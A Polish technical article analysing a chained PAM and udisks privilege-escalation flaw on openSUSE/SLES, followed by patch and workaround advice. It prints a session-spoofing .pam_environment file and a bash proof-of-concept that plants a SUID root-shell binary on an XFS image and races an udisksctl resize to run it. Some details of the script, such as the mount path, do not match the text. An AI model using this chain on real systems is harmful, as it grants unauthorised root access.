W cyfrowym świecie bezpieczeństwa, eskalacja uprawnień (privilege escalation) jest jednym z najpoważniejszych zagrożeń. Umożliwia atakującemu, który posiada jedynie podstawowe konto użytkownika, zdobycie pełnej kontroli administracyjnej (root) nad systemem. Niedawne odkrycie przez Qualys Threat Research Unit stanowi podręcznikowy przykład tego, jak dwie pozornie odizolowane podatności mogą zostać połączone w niszczycielski łańcuch ataku.
W tym artykule, opierając się na analizach opublikowanych przez Qualys, Red Hat, SOCRadar oraz oficjalnych biuletynach bezpieczeństwa SUSE, przeprowadzimy dogłębną analizę techniczną podatności CVE-2025-6018 i CVE-2025-6019. Zobaczymy, jak błąd konfiguracji w modułach PAM w połączeniu z luką w demonie udisks
pozwala na przejście od zwykłego użytkownika SSH do wszechmocnego roota na systemach takich jak openSUSE i SUSE Linux Enterprise.
Faza 1: Oszustwo Uwierzytelniania — Błąd Logiczny w PAM (CVE-2025-6018)
Pierwszym ogniwem w naszym łańcuchu jest błąd logiczny, a nie klasyczna luka w kodzie. Dotyczy on sposobu, w jaki systemy openSUSE/SLES domyślnie konfigurują Pluggable Authentication Modules (PAM), czyli modularny system uwierzytelniania w Linuksie.
Kontekst: Użytkownik „aktywny” a zdalny
Systemy Linux, za pośrednictwem mechanizmu PolicyKit (polkit), rozróżniają użytkowników zalogowanych fizycznie na konsoli (allow_active=yes
) od tych, którzy łączą się zdalnie, np. przez SSH. Użytkownicy „aktywni” mają z definicji większe uprawnienia – mogą na przykład restartować system czy zarządzać nośnikami danych bez podawania hasła roota. Jest to środek bezpieczeństwa, który ma uniemożliwić zdalnym użytkownikom wykonywanie wrażliwych operacji.
Wektor Ataku: pam_env.so
i plik .pam_environment
Problem tkwi w module pam_env.so
. W podatnych systemach jest on skonfigurowany tak, aby domyślnie wczytywał zmienne środowiskowe z pliku ~/.pam_environment
w katalogu domowym użytkownika. Co kluczowe, dzieje się to na bardzo wczesnym etapie procesu logowania, jeszcze przed uruchomieniem modułu pam_systemd.so
, który odpowiada za ustalenie, czy sesja jest lokalna.
Atakujący, mając dostęp do konta przez SSH, może stworzyć lub zmodyfikować plik ~/.pam_environment
i ustawić w nim zmienne, które pam_systemd
wykorzystuje do identyfikacji sesji lokalnej.
Kod źródłowy — Przykład pliku .pam_environment
Oto jak wygląda plik, który atakujący umieszcza w swoim katalogu domowym (/home/atakujacy/.pam_environment
):
Bash
# Plik ten zostanie odczytany przez pam_env.so podczas logowania SSH
# Ustawiamy zmienne, aby podszyć się pod sesję na fizycznym terminalu
XDG_SEAT=seat0
XDG_VTNR=1
Gdy użytkownik zaloguje się ponownie przez SSH, moduł pam_env
wczyta te zmienne. Następnie, moduł pam_systemd
, zamiast zidentyfikować sesję jako zdalną, zostanie oszukany i uzna ją za sesję lokalną na pierwszym wirtualnym terminalu (VT 1
) w fizycznej konsoli (seat0
).
W rezultacie atakujący, mimo że jest połączony zdalnie, otrzymuje od PolicyKit uprawnienia przypisane do grupy allow_active
. Samo w sobie nie daje to jeszcze roota, ale otwiera drzwi do drugiej, znacznie groźniejszej podatności.
Faza 2: Manipulacja Dyskiem — Eskalacja do Rangi Roota przez udisks
(CVE-2025-6019)
Drugie ogniwo łańcucha to luka w sposobie, w jaki demon udisks2
, służący do zarządzania urządzeniami pamięci masowej, wykorzystuje bibliotekę libblockdev
do operacji na systemach plików.
Kontekst: Demon udisks2
i operacje na dyskach
udisks2
to usługa działająca w tle, która pozwala użytkownikom (z odpowiednimi uprawnieniami, które właśnie zdobyliśmy dzięki CVE-2025-6018!) na wykonywanie operacji na dyskach, takich jak montowanie, formatowanie czy zmiana rozmiaru partycji.
Wektor Ataku: Zmiana rozmiaru partycji XFS i brak flagi nosuid
Luka objawia się podczas operacji zmiany rozmiaru systemu plików XFS. Aby przeprowadzić tę operację, udisks2
musi tymczasowo zamontować obraz systemu plików. Jak wskazują analizy, robi to w katalogu tymczasowym (np. /tmp
), ale co najważniejsze – robi to bez flagi nosuid
.
Flaga nosuid
jest fundamentalnym mechanizmem bezpieczeństwa, który nakazuje jądru ignorowanie bitu SUID (Set User ID) na plikach w danym systemie plików. Brak tej flagi oznacza, że jeśli na zamontowanym obrazie znajduje się plik wykonywalny należący do roota i posiadający bit SUID, to jego uruchomienie da atakującemu uprawnienia roota.
Kod źródłowy — Schemat ataku Proof-of-Concept
Poniższy skrypt ilustruje kroki, jakie podejmuje atakujący, aby wykorzystać tę lukę.
Bash
#!/bin/bash
# Nazwa pliku dla naszego złośliwego obrazu
IMG_FILE="payload.img"
# Punkt montowania, który będziemy obserwować
MOUNT_DIR="/run/media/$USER/disk"
# Plik wykonywalny SUID, który da nam roota
PAYLOAD_BIN="get-root"
C_SOURCE="pwn.c"
echo "Step 1: Tworzenie złośliwego pliku C, który uruchomi powłokę roota"
cat << EOF > $C_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
echo "Step 2: Kompilacja pliku C"
gcc $C_SOURCE -o $PAYLOAD_BIN
echo "Step 3: Przygotowanie obrazu dysku XFS o rozmiarze 100MB"
dd if=/dev/zero of=$IMG_FILE bs=1M count=100
mkfs.xfs $IMG_FILE
echo "Step 4: Montowanie obrazu w celu umieszczenia na nim złośliwego pliku"
mkdir -p temp_mount
sudo mount -o loop $IMG_FILE temp_mount
echo "Step 5: Kopiowanie payloadu i ustawienie bitu SUID"
sudo cp $PAYLOAD_BIN temp_mount/
sudo chmod +s temp_mount/$PAYLOAD_BIN
sudo umount temp_mount
rm -r temp_mount
echo "Step 6: Uruchomienie operacji zmiany rozmiaru przez 'udisksctl' w tle"
# To jest moment, w którym udisks zamontuje obraz BEZ flagi 'nosuid'
udisksctl loop-setup -f $IMG_FILE
udisksctl filesystem-mount -b /dev/loop0
udisksctl filesystem-resize -b /dev/loop0 50M &
echo "Step 7: Wyścig z czasem - czekamy na montowanie i natychmiast uruchamiamy payload"
while true; do
# Sprawdzamy, czy nasz obraz został zamontowany
if [ -f "$MOUNT_DIR/$PAYLOAD_BIN" ]; then
echo "PAYLOAD ZNALEZIONY! URUCHAMIANIE..."
$MOUNT_DIR/$PAYLOAD_BIN
break
fi
sleep 0.01
done
Wyjaśnienie skryptu:
- Tworzony jest prosty program w C, który po uruchomieniu daje powłokę Basha z uprawnieniami roota (
setuid(0)
). - Tworzony jest pusty obraz dysku, a na nim system plików XFS.
- Skompilowany program jest kopiowany na obraz, a następnie nadawany jest mu bit SUID (
chmod +s
). - Kluczowy moment:
udisksctl
jest używany do zainicjowania operacji zmiany rozmiaru obrazu. To powoduje jego tymczasowe zamontowanie. - Skrypt w pętli
while
czeka na pojawienie się pliku w punkcie montowania i natychmiast go uruchamia, wygrywając wyścig z czasem, zanimudisks
zakończy operację i odmontuje obraz.
Wynik? Powłoka z uprawnieniami roota. Atak zakończony sukcesem.
🛡️ Środki Zaradcze i Wnioski
Problem został już załatany przez twórców dystrybucji. SUSE wydało oficjalny biuletyn SUSE-SU-2025:02013-1, w którym informuje o poprawkach.
Główne działania naprawcze:
- Aktualizacja systemu: Najważniejszym i najskuteczniejszym krokiem jest natychmiastowa aktualizacja pakietów
pam
ilibblockdev
/udisks2
do najnowszych wersji dostępnych w repozytoriach dystrybucji. - Tymczasowe obejście (workaround): Jeśli natychmiastowa aktualizacja nie jest możliwa, administratorzy mogą ręcznie zmodyfikować konfigurację PAM (
/etc/pam.d/sshd
lub podobne), dodając opcjęnouserenv
do linii zpam_env.so
, aby zapobiec wczytywaniu pliku.pam_environment
. Dla drugiej luki można zmodyfikować regułę PolicyKit (org.freedesktop.udisks2.modify-device
), zmieniającallow_active
naauth_admin
, co będzie wymagało hasła administratora do wykonania operacji.
Ten łańcuch podatności jest przypomnieniem, że bezpieczeństwo systemu zależy od poprawnego współdziałania wielu, często niepozornych, komponentów. Błąd logiczny w konfiguracji w połączeniu z niebezpiecznym zachowaniem usługi systemowej stworzył idealną ścieżkę dla atakujących. Regularne aktualizacje i świadomość potencjalnych wektorów ataku pozostają najlepszą linią obrony.